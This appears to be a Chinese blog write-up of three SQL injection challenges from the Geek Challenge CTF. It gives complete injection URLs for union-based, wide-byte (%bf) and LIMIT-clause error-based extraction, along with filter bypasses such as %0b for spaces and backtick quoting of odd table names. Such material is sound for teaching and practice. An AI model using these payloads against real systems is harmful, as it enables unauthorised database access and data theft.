极客大挑战注入三部曲

零、前言

前段时间做了极客大挑战的CTF题目,比较简单,非常适合新手学习。其中的Web有三道注入题出的非常好,代表php注入的三种常见类型,这里我写个Writeup总结下。

一、sqli1

简单的php注入,以下payload得到flag

http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1%20union%20select%20flag%20from%20flag%20#

SYC{Sql_Inject10n_0n3_ppp}


二、sqli2

宽字节注入,在参数uid=1后面加上%bf即可正常手注

获取数据库名:

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select database() --+
sql2

但是再进一步获取信息的时候遇到如下错误

Illegal mix of collations for operation 'UNION'

其原因是union两端的select查询的数据编码不一致造成的,找到三个可以解决此问题的函数

1.unhex(hex(table_name))
2.aes_decrypt(aes_encrypt(table_name,1),1)
3.binary(table_name)

获取表名:

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select (select group_concat(binary(table_name)) 
from information_schema.tables where table_schema=database())--+
[key_flag],content

获取字段名:

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select (select group_concat(binary(column_name)) 
from information_schema.columns where table_name=0x5B6B65795F666C61675D) --+
id,key_flag

在尝试获取数据的时候又遇到一个问题,总是出现语法错误,例如这样的语句

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select  key_flag  from [key_flag]--+

为什么这样呢,在数据库(至少mysqlsqlserver会这样)中中括号有特殊的含义,它们是用来标记要查询的表或字段,以避免其被视为数据库中的关键字。比如,一个表名叫userusersqlserver中属于关键字,那么查询的时候必须要这样:

select * from [user]

如果一个表名本身存在[]的话,直接放到数据库中查询会出现语法错误,即使是创建一个带中括号的表也会出现语法错误。

那么看一下phpmyadmin怎么处理这样的问题

可以看到表[person]被一对“单引号”标记了(这是Esc键下面的那个键),所以构造如下注入语句,可获得flag

获取数据:

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select  key_flag  from `[key_flag]`--+

SYC{L0ve_Sql_Inj3ct10n_akak}

二、sqli3

打开之后是一副图片,源代码中是图片的路径


用16进制工具查看,发现存在lalala=,那估计真正的注入参数就是这个。

访问之后的效果


单引号测试出错,另外发现过滤了空格,使用%0b可绕过。后续的测试中无论怎么测试都会出现语法错误,跟常规的注入类型反应完全不一样,但肯定是存在注入的。然后直接上了union select 语句,出现了如下的错误,
Incorrect usage of union and order by
查了一下,应该是lalala参数不在where字句里,很有可能在limit参数里,limit后面不能直接接union,根据的下面的paper找到方法。
http://blog.csdn.net/gtuu0123/article/details/5248202

http://www.waitalone.cn/mysql-limit-injection.html

获取数据库版本

http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,version())),1)
XPATH syntax error: ':5.5.18.1-log'

获取数据库名

http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/
?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,database())),1)

获取表名

http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/
?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bgroup_concat(table_name)%0bfrom
%0binformation_schema.tables%0bwhere%0btable_schema=database()   ))),1)
#flag_this,content

获取字段名:

http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/
?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bgroup_concat(column_name)%0bfrom
%0binformation_schema.columns%0bwhere%0btable_name=0x23666C61675F74686973 ))),1)
id,flag

在表名这里还有一个坑,表名里有#,那么会被理解成注释符,获取数据时会出现语法错误。方法是使用“字符转义,另外#要url编码,获取flag

http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bflag%0bfrom%0b`%23flag_this`))),1)

SYC{S0_Happy_Y0u_ar3_0rz}


极客大挑战注入三部曲》上有 1 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注